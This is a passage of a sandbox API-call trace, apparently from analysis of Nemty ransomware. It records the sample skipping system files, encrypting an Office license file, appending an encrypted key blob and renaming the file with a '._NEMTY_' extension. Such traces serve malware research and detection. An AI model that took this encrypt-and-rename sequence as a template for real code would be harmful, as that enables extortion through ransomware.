(lpString1="OWOW32WW.cab", lpString2="rsa") returned -1 [0049.192] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="NTDETECT.COM") returned 1 [0049.192] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="ntldr") returned 1 [0049.192] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="MSDOS.SYS") returned 1 [0049.192] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="IO.SYS") returned 1 [0049.192] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="boot.ini") returned 1 [0049.192] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="boot.ini") returned 1 [0049.192] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="AUTOEXEC.BAT") returned 1 [0049.192] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="ntuser.dat") returned 1 [0049.192] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="desktop.ini") returned 1 [0049.192] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="CONFIG.SYS") returned 1 [0049.192] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="RECYCLER") returned -1 [0049.192] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="BOOTSECT.BAK") returned 1 [0049.192] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="bootmgr") returned 1 [0049.192] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="programdata") returned -1 [0049.192] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="appdata") returned 1 [0049.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.192] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32WW.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0049.192] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32WW.cab", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OWOW32WW.cab", lpUsedDefaultChar=0x0) returned 12 [0049.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.192] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32WW.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0049.192] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32WW.cab", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OWOW32WW.cab", lpUsedDefaultChar=0x0) returned 12 [0049.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32WW.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0049.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32WW.cab", cchWideChar=12, lpMultiByteStr=0x653f2a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OWOW32WW.cab", lpUsedDefaultChar=0x0) returned 12 [0049.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32WW.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0049.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32WW.cab", cchWideChar=12, lpMultiByteStr=0x653f2d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OWOW32WW.cab", lpUsedDefaultChar=0x0) returned 12 [0049.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0049.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0049.193] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0049.193] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".") returned 1 [0049.193] lstrcmpiW (lpString1="PidGenX.dll", lpString2="..") returned 1 [0049.193] lstrcmpiW (lpString1="PidGenX.dll", lpString2="...") returned 1 [0049.193] lstrcmpiW (lpString1="PidGenX.dll", lpString2="windows") returned -1 [0049.193] lstrcmpiW (lpString1="PidGenX.dll", lpString2="$RECYCLE.BIN") returned 1 [0049.193] lstrcmpiW (lpString1="PidGenX.dll", lpString2="rsa") returned -1 [0049.193] lstrcmpiW (lpString1="PidGenX.dll", lpString2="NTDETECT.COM") returned 1 [0049.193] lstrcmpiW (lpString1="PidGenX.dll", lpString2="ntldr") returned 1 [0049.193] lstrcmpiW (lpString1="PidGenX.dll", lpString2="MSDOS.SYS") returned 1 [0049.193] lstrcmpiW (lpString1="PidGenX.dll", lpString2="IO.SYS") returned 1 [0049.193] lstrcmpiW (lpString1="PidGenX.dll", lpString2="boot.ini") returned 1 [0049.193] lstrcmpiW (lpString1="PidGenX.dll", lpString2="boot.ini") returned 1 [0049.193] lstrcmpiW (lpString1="PidGenX.dll", lpString2="AUTOEXEC.BAT") returned 1 [0049.193] lstrcmpiW (lpString1="PidGenX.dll", lpString2="ntuser.dat") returned 1 [0049.193] lstrcmpiW (lpString1="PidGenX.dll", lpString2="desktop.ini") returned 1 [0049.193] lstrcmpiW (lpString1="PidGenX.dll", lpString2="CONFIG.SYS") returned 1 [0049.193] lstrcmpiW (lpString1="PidGenX.dll", lpString2="RECYCLER") returned -1 [0049.193] lstrcmpiW (lpString1="PidGenX.dll", lpString2="BOOTSECT.BAK") returned 1 [0049.193] lstrcmpiW (lpString1="PidGenX.dll", lpString2="bootmgr") returned 1 [0049.193] lstrcmpiW (lpString1="PidGenX.dll", lpString2="programdata") returned -1 [0049.193] lstrcmpiW (lpString1="PidGenX.dll", lpString2="appdata") returned 1 [0049.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PidGenX.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0049.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PidGenX.dll", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PidGenX.dll", lpUsedDefaultChar=0x0) returned 11 [0049.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PidGenX.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0049.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PidGenX.dll", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PidGenX.dll", lpUsedDefaultChar=0x0) returned 11 [0049.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PidGenX.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0049.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PidGenX.dll", cchWideChar=11, lpMultiByteStr=0x653f2a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PidGenX.dll", lpUsedDefaultChar=0x0) returned 11 [0049.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PidGenX.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0049.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PidGenX.dll", cchWideChar=11, lpMultiByteStr=0x653f2d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PidGenX.dll", lpUsedDefaultChar=0x0) returned 11 [0049.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0049.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0049.194] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0049.194] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".") returned 1 [0049.194] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="..") returned 1 [0049.194] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="...") returned 1 [0049.194] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="windows") returned -1 [0049.194] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="$RECYCLE.BIN") returned 1 [0049.194] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="rsa") returned -1 [0049.194] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="NTDETECT.COM") returned 1 [0049.194] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="ntldr") returned 1 [0049.194] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="MSDOS.SYS") returned 1 [0049.194] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="IO.SYS") returned 1 [0049.194] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="boot.ini") returned 1 [0049.194] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="boot.ini") returned 1 [0049.194] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="AUTOEXEC.BAT") returned 1 [0049.194] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="ntuser.dat") returned 1 [0049.194] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="desktop.ini") returned 1 [0049.194] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="CONFIG.SYS") returned 1 [0049.194] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="RECYCLER") returned -1 [0049.194] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="BOOTSECT.BAK") returned 1 [0049.194] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="bootmgr") returned 1 [0049.194] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="programdata") returned -1 [0049.195] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="appdata") returned 1 [0049.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0049.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pkeyconfig-office.xrm-ms", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0049.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pkeyconfig-office.xrm-ms", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pkeyconfig-office.xrm-ms", lpUsedDefaultChar=0x0) returned 24 [0049.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0049.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pkeyconfig-office.xrm-ms", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0049.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pkeyconfig-office.xrm-ms", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pkeyconfig-office.xrm-ms", lpUsedDefaultChar=0x0) returned 24 [0049.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0049.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0049.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0049.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pkeyconfig-office.xrm-ms", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0049.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pkeyconfig-office.xrm-ms", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pkeyconfig-office.xrm-ms", lpUsedDefaultChar=0x0) returned 24 [0049.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0049.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0049.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pkeyconfig-office.xrm-ms", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0049.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pkeyconfig-office.xrm-ms", cchWideChar=24, lpMultiByteStr=0x4f9ed80, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pkeyconfig-office.xrm-ms", lpUsedDefaultChar=0x0) returned 24 [0049.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0049.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94240 [0049.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0049.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f942f8 [0049.195] Sleep (dwMilliseconds=0x5) [0049.200] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd1073db0, dwHighDateTime=0x1d561e7)) [0049.200] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd1073db0, dwHighDateTime=0x1d561e7)) [0049.200] GetLastError () returned 0x0 [0049.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0049.200] GetLastError () returned 0x0 [0049.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0049.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0049.200] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0049.200] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0049.201] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0049.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0049.201] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="UOajZRj3h1hpSS1F3ctWh25J0TLDifC/CB/QPxV6esFH6jLFjQ/JZsh569xALwjQ\r\n2tscCUcOh1bgujhNDkidXUJ/pyn42E+6oLjTsiOPHs47DqD6l0w2serOpwNm9E1L\r\nCBVSnnbW30Fc49rQ+SadsNdyvvO6HU0HkICPdbBr7mmI3F87SthcwOOppwFleZoZ\r\nM/NzGp3eRhWN2zMQFlYyIy/zQTNd6Ooc3TBseFqiAub6zLB85Mj353r+Reju668e\r\niVH/264Hgd4TVkxYh+0pfWrlm4wvAiVUZf4sspUVsrTaGH78mVyuODNk/QZiEUGB\r\nclpZ92FcLCnqWCxzieFgfQ==\r\n", pcchString=0x653ef9c) returned 1 [0049.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0049.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0049.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0049.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0049.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0049.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0049.201] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0049.201] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=715834) returned 1 [0049.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6346d48 [0049.201] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.201] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x19000, lpOverlapped=0x0) returned 1 [0049.211] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.211] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x19000, lpOverlapped=0x0) returned 1 [0049.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0049.212] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=715834, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xaec3a [0049.212] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0049.213] CloseHandle (hObject=0x3c8) returned 1 [0049.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0049.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0049.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0049.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9eda8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0049.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0049.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0049.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0049.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0049.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0049.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0049.222] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms._nemty_kgobjgd_")) returned 1 [0049.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0049.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0049.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0049.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0049.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0049.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0049.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942f8 | out: hHeap=0x4f90000) returned 1 [0049.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.223] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ProPlusrWW.msi", cAlternateFileName="PROPLU~1.MSI")) returned 1 [0049.223] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2=".") returned 1 [0049.223] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="..") returned 1 [0049.223] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="...") returned 1 [0049.223] lstrcmpiW 